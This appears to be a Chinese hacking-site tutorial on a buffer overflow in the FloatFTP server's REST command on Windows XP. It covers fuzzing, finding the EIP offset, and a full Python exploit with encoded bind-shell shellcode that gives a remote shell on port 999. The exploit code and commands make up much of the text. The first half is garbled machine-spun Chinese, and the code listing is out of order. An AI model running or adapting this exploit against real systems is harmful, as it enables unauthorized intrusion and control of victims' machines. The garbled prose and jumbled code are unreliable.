黑客缓冲区溢出漏洞的利用

黑客缓冲区溢出漏洞的利用

编程入门hacker2019-05-15 12:16:1510642A+A-

在我的第一次迫不得已解决缓冲区溢出木马病毒时,我就是无从下手啊!尽管我能创建互联网和配备防火墙、服务器代理,不费吹灰之力的入侵检测技术,可是针对运用编码而言,我還是第一次经历到。殊不知,如同解决一切繁杂或者艰难的定义相同,有效的方法也是把它转化成人们知道的好几个部位。

在探讨和學習步骤后,某些定义和道具开使越来越不那麼令人困惑了,而且人们慢慢可以搞清楚某些关键点了。随后,我开使在试验室目前已把握可新建的程序运行中,找寻简易的内存木马病毒。只能在一次又一次试验,各类定义会一个一个出現—全部程序,不论是单独的部位還是总体—都是一丢丢展现出去。

文中将会为防御者叙述某些基本要素,包含1个网络攻击经厉木马病毒设计规划流程,必须的劳动量和网络攻击即将应对的撰写恶意代码进攻特殊木马病毒的危害性。

现今的网络攻击具有信心也是工艺,而且了解针对承担电脑和互联网的人而言哪些操作过程是最重要的,防御者对对手的想法和工艺知道的越大,他越多易于制订合理的防守对策。

我想经厉好多个木马病毒发掘的环节的能够寻找1个合理木马病毒,最先,人们会fuzz人们的目的程序运行,根据1个趣味的方法使它奔溃,根据Immunity debugger来监视器奔溃的流程,在windows体系的运存中寻找最易受攻击的上溢的shellcode。接着,人们即将造就1个木马病毒来传送shellcode,进而危機无线体系。

必须的手机app/设定

进攻体系:Linux(我用的R3)

设计规划/受害人体系:windows xp sp3英文版

Immunity debugger-安裝在windows xp系统上

FloatFTP—人们要运用的程序运行(忽视目前的木马病毒,如今点一下此网页上的“敏感的程序运行”按键来下載,解压缩文件到xp系统的主屏幕我的文档内)。

我们一起更是开始吧!

Fuzzing

“Fuzzing”是对有畸型、过多运用的和上传任意数剧到计算机程序尝试使系统安装失败或出現出乎意料状况的测试工具。Fuzzing用以检测体系和系统的安会。

鼠标点击float FTP来实行开使:

黑客缓冲区溢出漏洞的利用 第1张

根据运行cmd提示符来运作和监视21网关和输入:

netstat -an | find "21"

 

1a

 

起动Immunity debugger,点击“file”,再点击“attach”,挑选FTP服务器流程,点击“attach”。

 

attach

 

如果程序运行在调试器上载入时,调试器即将处在暂定情况。按F9键或者Immunity debugger工具栏上的播发标记,让运用执行程序。这一目的程序运行将会被调试器监视器。

 

debug1

 

如今人们将开使配备FTP fuzzer,最先,Fuzz程序运行来使系统安装失败,随后应用调试器来收集和剖析奔溃数剧。

下边的编码是1个用python开发语言撰写的简易的FTP fuzzer,当实行时,fuzzer会上传规范的FTP指令“REST”,而且额外很多的“A”到每条命令。

了解缓冲区溢出木马病毒的运用

人们能够从事例(http://www.exploit-db.com/exploits/17546/)中了解FTP服务器的REST指令也是1个易受攻击的缓冲区溢出,FTP的REST作用将会变成fuzzer的目的。

在进攻体系的电脑桌面建立1个我的文档来储放fuzzing和木马病毒编码。应用“CD”到这一文件名,运作“nano fuzzer.py”。这就开启了1个空页的nano文本编辑器,拷贝和黏贴上边的编码到文档中。

 

fuzzer4

 

运用已经体系上运作的floatFTP的IP体系更改目的的IP地址,按CTRL+O来储存文档,按CTRL+X来撤出nano,接着,根据输入来建立可执行文件。

chmod 755 fuzzer.py

实行“/fuzzer.py”,十几秒后,你可以见到fuzzer终止了,而且显视目的程序运行奔溃。

 

fuzzer

 

如果你在xp系统上见到这一调试器,你能见到Immunity debugger早已捕捉了毁坏了的数剧和中止了程序运行。假如想看EIP(拓展的命令表针)寄存器时,我也会见到在41秒中内fuzzer堆栈寄遮盖寄存器,fuzzer堆栈也会涌进ESP(拓展堆栈指针)寄存器(00AEFC2C)。人们的主要目地是了根据CPU实行的命令编码再度操纵EIP寄存器,把它设成人们所挑选的值。

 

fuzzer3

 

木马病毒发掘

用nano建立1个新的文档,键入下边的编码。它是发掘的开使,将文档储存为skeleton.py并实行(键入chmod 755 skeleton.py)

了解缓冲区溢出木马病毒的运用

在进攻体系的Linux用户上运作skeleton.py。

如今,如果你在Immunity debugger上查验EIP寄存器时,你能见到堆栈编码4141414141遮盖了寄存器,并上溢来到ESP寄存器中。 

1ef

下一阶段也是要明确人们要插进编码的空間究竟有多少,到现在为止,人们早已应用了两组确定的反复空格符来明确人们的目的的内存地址。人们如今即将应用metasploit的pattern_create和pattern_offset道具来协助人们发觉到底有多少的空間,人们以哪些特殊的内存地址为目的。最先,用1000个字符来转化成1个不反复的字符串。

应用cd命令到/opt/metasploit/msf3/tools并运作:

建立1个1000空格符的字符串,用它来替代之前缓存构架木马病毒中的1000个字符“A”。 

pattern_create1000

注解掉之前的堆栈木马病毒,像下边相同建立1个新的缓存线,在双引号中为新的堆栈。

了解缓冲区溢出木马病毒的运用

在Immunity debugger下重新启动FTP服务器(点击“debug”,以后重新启动或按CTRL+F2),起动FTP服务器的构架木马病毒。依照此前的作法必须奔溃了,可是如今EIP和ESP堆栈中有metasploit建立的文件类型,把这种值拷贝出来,人们将用他们来测算EIP和ESP寄存器的字节中的差别。

在本例,EIP和ESP的数值:

EIP: 69413269

ESP: 00AEFC2C (69413669)

以后,运作:

./pattern_offset.rb 69413269

然后

./pattern_offset.rb 69413669

 

patternoffset

 

輸出说出人们247个字节之后的EIP寄存器开使被堆栈遮盖,这就代表EIP中248—251字节是人们愿意的目的。

CPU根据EIP寄存器中的值了解下个要运作的命令,在内存地址中运作这种当今的命令,在EIP的运存部位中应用JMP ESP命令使CPU来实行命令和“跳”到ESP寄存器中实行驻留在该地点的运存中的命令。人们的目地也是在EIP中应用JMP ESP命令,这


我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:


buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741


因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了\x7B\x46\x86\x7C。我们也要增加8Bs作为填充("\x43"*8)和改变最后一个值为\xCC*741 (742 CC's),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。


理解缓冲区溢出漏洞的利用


在Immunity debugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。


在Immunity debugger器工具栏单击箭头指向的三个点,进入JMP ESP内存所在的位置:7C86467B(在这个例子中),单击“OK”,然后按下F2在调试中设置断点。当访问JMP ESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。


 


1m

 


再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:


 


1n

 


EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。


shellcode和漏洞


我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00, \x0d, \x0a, 0×40。"\x40\xff\\x3d\x20"可以阻止shellcode执行。


下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。


msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x3d\x20'


这个结果是一个386字节的payload:


理解缓冲区溢出漏洞的利用


理解缓冲区溢出漏洞的利用


注释掉前面缓冲区声明和添加新的修改声明:


buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373


在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0×90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏洞中正常排列,NOP指令是有利的,但是shellcode执行失败。


我又一次修改缓冲区在shellcode前添加了16个NOP:


buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357


例如: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]


最终完整的漏洞:


shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"


"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"


"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"


"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"


"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"


"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"


"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"


"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"


"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"


"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"


"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"


"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"


"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"


"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"


"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"


"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"


"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"


"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"


"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"


"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"


"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"


"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"


"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"


"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"


"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"


"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"


"\x0e\x3a\x93\x35")


## Windows XP SP3 kernel32.dll 7C86467B JMP ESP


#buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741


buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 +


shellcode + "\xCC"*357


print "\nSending evil buffer..."


s.connect(('10.10.10.32',21))


data = s.recv(1024)


s.send('USER ftp' +'\r\n')


data = s.recv(1024)


s.send('PASS ftp' +'\r\n')


data = s.recv(1024)


s.send('REST' +buffer+'\r\n')


s.close()


#!/usr/bin/python   

    

import socket   

    

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   

    

#buffer = '\x41' * 1000   

    

#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac  

1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6  

Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah  

2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7A  

j8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3A  

m4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao  

9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar  

4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At  

9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4A  

w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0  

Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb  

6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1  

Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg  

5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"   

    

#buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741   

    

## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R |   

msfencode -b '\x40\x0A\x00\x0D' 368 bytes   

   

 


关闭XP系统上的调试器,重新启动FloatFTP。在攻击系统上启动漏洞攻击,然后远程连接到FTP服务器的999端口,一起正常,你将会以一个管理员的身份(或是任何一个打开FloatFTP进程的)收到一个shell。 


sploit2

正如你看到的,现在这个系统已经被渗透,并且受攻击者控制。


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 2条评论
  • 怎忘吝吻2022-05-30 20:09:13
  • xcb""\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3""\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2
  • 鸢旧晚鲸2022-05-31 01:54:58
  • "\x42"*8 + "\x90"*16 +shellcode + "\xCC"*357print "\nSend

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理